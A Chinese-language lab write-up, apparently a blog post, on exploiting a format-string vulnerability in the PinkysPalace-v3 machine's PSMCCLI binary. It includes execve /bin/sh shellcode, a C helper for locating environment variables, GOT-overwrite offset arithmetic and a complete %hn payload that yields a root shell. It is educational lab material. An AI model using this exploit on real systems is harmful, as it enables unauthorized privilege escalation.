系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
项目三十六:PinkysPalace-v3,考验了缓冲区溢出知识,该项目存在非常多的知识点,存在PSMCCLI文件,该项目是乌班图环境运行着exe文件,该文件是Pink Sec的控制台程序,该环境就和AWD中的PWN题目一样,直播教学会有多种方法详细解释如何理解缓冲区溢出,如何发现缓冲区溢出,遇到缓冲区溢出如何利用,栈是什么等等问题详解。
接下来我讲分享其中方法一给到各位小伙伴学习,欢迎大佬
二、项目介绍
该项目存在非常多的知识点和防护手段,需要很强的基础知识和渗透手段才可以攻破拿到该服务器权限,一路旅程从:
外网信息收集->模块Nday->端口转发->数据库枚举->Fuzz测试->内部信息枚举->So库手写提权
才到咱们本章最有意思的格式字符串缓冲区溢出点,当然前面的逻辑贯穿能力也不可缺失,接下来将详细介绍格式字符串缓冲区如何溢出提权的,在栈空间中遨游!
通过nm工具详细私下So库文件,并利用So库手写恶意库并植入psbanner、psopt、psoption函数提权后,进入了缓冲区的世界内,今天仅仅讲解缓冲区溢出,让各位学到更多,接下来是通过提权拿到了该普通用户权限:
[+] Pink Sec Management Console CLI
Pink Sec的控制台程序,疑似存在缓冲区溢出!
三、下载程序
将该文件base64转发下载到本地进行逆向分析:
1)base64转码
cd /usr/local/bin/
base64 PSMCCLI
2)将转码值写入本地文本并解码成文件
vi base64.txt ---放入base64编译值
cat base64.txt | base64 -d > PSMCCLI
md5sum PSMCCLI ---双方MD5值对比(因MD5不可逆)
四、缓冲区溢出测试
使用python测试是否存在缓冲区溢出,当然perl也是可以的。
./PSMCCLI $(python -c 'print "A"*100')
./PSMCCLI $(python -c 'print "A"*200')
./PSMCCLI $(python -c 'print "A"*2000')
将100、200、2000....个A发送给程序,都未能造成分段错误等情况,不存在缓冲区溢出?
缓冲区溢出分为栈溢出、堆溢出、格式字符串溢出,目前仅仅测试了最基础的溢出手法,来看看该程序的函数主体,将用到GDB!
gdb是GNU开源组织发布的一个强大的Linux下的程序调试工具,逆向分析有非常多好用的工具,但是GDB毋庸置疑是最强之一,它的pwndbg和peda插件那就是辅助GDB上神器行列的最强帮手。
chmod +x PSMCCLI ---赋权
gdb PSMCCLI ---gdb调试
disas main ---查看主函数
disas argshow ---主函数调用了argshow进行深部查看
argshow用于显示参数,被main函数调用,可以在argshow中看到两个printf调用!再说格式化字符串漏洞之前,先了解一下printf函数和利用该漏洞的重要格式化字符串%n,利用他可以做到任意内存写入!
函数原型
int printf ("格式化字符串",参量... )
函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。
参量表中参数的个数是不定的(如何实现参数的个数不定,可以参考《程序员的自我修养》这本书),可以是一个,可以是两个,三个...,也可以没有参数。
printf函数的格式化字符串常见的有%d,%f,%c,%s,%x
(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等。
但是有个不常见的格式化字符串%n,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。
除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。注意是对应参数(这个参数是指针)的对应的地址开始起几个字节。不要觉得%lln,取的是8个字节的指针,%n取的就是4个字节的指针,取的是多少字节的指针只跟程序的位数有关,如果是32位的程序,%n取的就是4字节指针,64位取的就是8字节指针,这是因为不同位数的程序,每个参数对应的字节数是不同的。
该处调用了两个printf,调用可能会产生格式字符串漏洞!测试!
./PSMCCLI %x
[+] Args: f7f34480
%x是printf支持的格式字符串!用来显示关联十六进制输入数值!通过输入%x从堆栈中获取一个值:Args: f7f34480
,将内存当做参数以16进制输出,这样就会造成内存泄露,可查看该二进制程序会受到格式字符串漏洞的影响导致溢出!
五、格式字符串缓冲区溢出攻击
1、查看二进制程序启用的安全保护
ELF安全特性检查工具:hardening-check
详细参考使用文章:
http://manpages.ubuntu.com/manpages/trusty/man1/hardening-check.1.html
Read-only relocations: yes
七种安全机制六种都显示no, not found!仅RELocation Read-Only只读重定位开启,这是一个简单直接的格式字符串漏洞!
RELRO(Relocation Read Only)重定向只读解读:
在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处。
原理
GCC,GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术:read only relocation
。大概实现就是由linker指定binary的一块经过dynamic linker处理过relocation之后的区域为只读,用来防御hijack GOT攻击。
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为"Partial RELRO",说明我们对GOT表具有写权限。
2、shellcode写入环境空间
1)攻击思路
格式字符串允许利用两个基本的攻击向量:
1. 直接内存访问:使用%x格式字符串和位置值,可以打印或访问堆栈中的任何内存位置。
2. 写入位置的能力:可以使用%n格式字符串写入任何位置,%n将到目前为止打印的字符数写入所选位置。
那么思路很清晰了,先用%x定位位置,在位置中%n植入shellcode,用%hn执行。
2)选择shellcode
shellcode最大轻量网站之一:
http://shell-storm.org/shellcode/files/shellcode-827.php
我选择了827,当然别的也是能过的,主要基于系统环境决定即可。
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
把核心shellcode拿出,利用格式字符串漏洞,通常将shell代码放在环境变量中,并将程序流重定向到环境变量的地址即可!
3)shellcode写入环境
将偏移量移到/tmp目录中,并对其进行排序,用python写入:
export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'")
3、获取执行shellcode栈地址
因为在argshow函数中调用了两个printf,当printf结束后执行的是putchar函数,这边思路覆盖putchar函数,因为它是printf之后的下一个函数,要获取需要覆盖的位置,我在运行程序之前先拆装了putchar函数,方便包含它在运行时加载的地址:
gdb PSMCCLI
disas putchar
0x804a01c
获得putchar的栈地址!
4、定位环境变量的地址
当环境变量中植入shellcode后,需要找到覆盖覆盖函数的地址!
植入shellcode需要找到地址该脚本可以找:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
将保存到:getenvaddr.c(在项目环境操作)
nano getenvaddr.c
gcc -o getenvaddr getenvaddr.c
chmod +x getenvaddr
gcc编译getenvaddr二进制文件,开始查看变量空间地址!
./getenvaddr
Usage: ./getenvaddr <environment variable> <target program name>
前面已经将shellcode放入环境变量中了,现在可以使用SPAWN在执行目标二进制文件期间找到环境变量在内存中的位置:
./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbffffe94
shellcode地址:0xbffffe94 ---要覆盖的内存地址
putchar地址:0x0804a01c ---写入的地址
所以此时有两个地址,需要将shell代码的地址写入putchar的指针存放位置。
5、确认Args位置
此时有两个地址需要将shell代码的地址写入putchar的指针存放位置即可!
现在的目标是在参数中引入一些地址并尝试访问它们!在参数中引入了两个地址 AAAA (0x41414141) 和 BBBB (0x42424242)!还需要第三位填充(CCC)。
/usr/local/bin/PSMCCLI AAAABBBBCCC$(python -c "print '%x.'*138")
......0.494c43.41414141.42424242.......
此处我用了三个C!
在此处必须找到完整的排序41414141,42424242对应四个A和B,如果不完整按照最前面讲解的基础加个0,可看到它们分布在两个内存中!
接下来需要确定这两个内存地址在什么位置!这里确认位置可以用for循环,也可以猜解!当然我在项目直播中是详细讲解了,来吧加油~
/usr/local/bin/PSMCCLI AAAABBBBCCC%135\$0x%136\$0x
[+] Args: AAAABBBBCCC4141414142424242
如果不起作用,就用C和0填充即可!找到了内存地址为135-136!
6、Exp-前半段地址确定
现在需要访问putchar指针的地址(要修改的地址),即0x0804a01c!32位架构中的内存为4字节(32位)大小。然而将使用格式字符串漏洞进行写入也就是两字节写入。所以需要把地址分成两个字节:
低位地址:0x0804a01c
高位地址:0x0804a01e(初始地址+2)
地址字节的顺序是颠倒写的:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0x%136\$0x
[+] Args: CC4a01c004a01e08
前半部分可以访问所需的地址值了!接下来就可以按照前面的思路,将%x改为%n进行写入内存地址操作!
7、Exp-后半段地址确定错误详解
只需将%x更改为%n即可!使用%x访问的内存位置!
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0n%136\$0n
Segmentation fault
终于报分段错误了,这就体现出了该处存在缓冲区溢出!那么为什么报错了?
这边出现了分段错误,因为%n会将到目前为止已打印的字符数写入正在访问的内存中,上面的代码会将11(0xb)写入高位和低位存储短字节中,这是一个非法地址,所以报错!那么接下来要找到正确的内存空间地址值进行计算准确!也是最难的一部!
8、内存空间准确计算定位
shellcode地址位置计算,需要将值0xbffffe94写入内存字节中,每个短字节最多只能容纳0xffff
,因此需要将值拆分为两个短字节:
shellcode地址:0xbffffe94
打开计算器:选择程序员->HEX
低位短字节地址: 0xfe94 = 65172
高位短字节地址: 0xbfff = 49151
在前面确认内存位置时,输入了:
AAAABBBBCCC(11个字节)两个四字节和三个C填充!
前半部分=49151 后半部分=65172-11bytes = 65161
接下来使用%u格式说明符来引入那么多额外的字符即可!
9、整数溢出思路写法
现在修复了低位短字节,需要将0xbfff写入高位短字节然后0xbff(3071)低于0xfe94!
65161
49515
用了三个C
因此需要0x1bfff-0xfe94=49515个字符来写入所需的0xbfff值!
强调:这里需要计算器直接计算十六进制值,不要加减法单独计算!
10、最终payload
根据前面函数原型介绍提示,除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。接下来将使用%u定位内存空间刚计算出的准确位置,然后在用%hn进行写入目标的最底层字节空间中!
咱们这里拿出上面分段错误做个对比!
分段错误payload:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%135\$0n%136\$0n
写入空间位置地址准确值:
/usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")CCC%65161u%135\$0hn%49515u%136\$0hn
成功完成格式字符串缓冲区溢出,溢出提权!
六、经验总结
今天学到ELF格式字符串缓冲区溢出中GDB对程序进行逆向分析,熟悉查看二进制程序启用的安全保护、shellcode写入环境空间、获取执行shellcode栈地址、定位环境变量的地址、确认Args位置、Exp-前半段地址确定、Exp-后半段地址确定错误详解、内存空间准确计算定位、整数溢出思路写法、最终写出溢出payload的方法等等操作,最后远程代码执行控制服务器等操作,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!来巩固告知企业单位的漏洞情况,并尽快进行加固巩固安全!
提醒:
1. 每次进入环境格式字符串缓冲区溢出内存地址、栈空间都是随机变动的!
2. 随着变动需要用C和0去调试格式字符串,从而达到每一步的效果。
3. 通过每一步的payload不可跳跃执行,需要仔细操作计算,例如%0x,接下也是对应即可
4. 计算空间准确值必须仔细,错一位数都无法溢出!
希望大家提高安全意识,没有网络安全就没有国家安全!
今天基础牢固就到这里,虽然基础,但是必须牢记于心。
作者:大余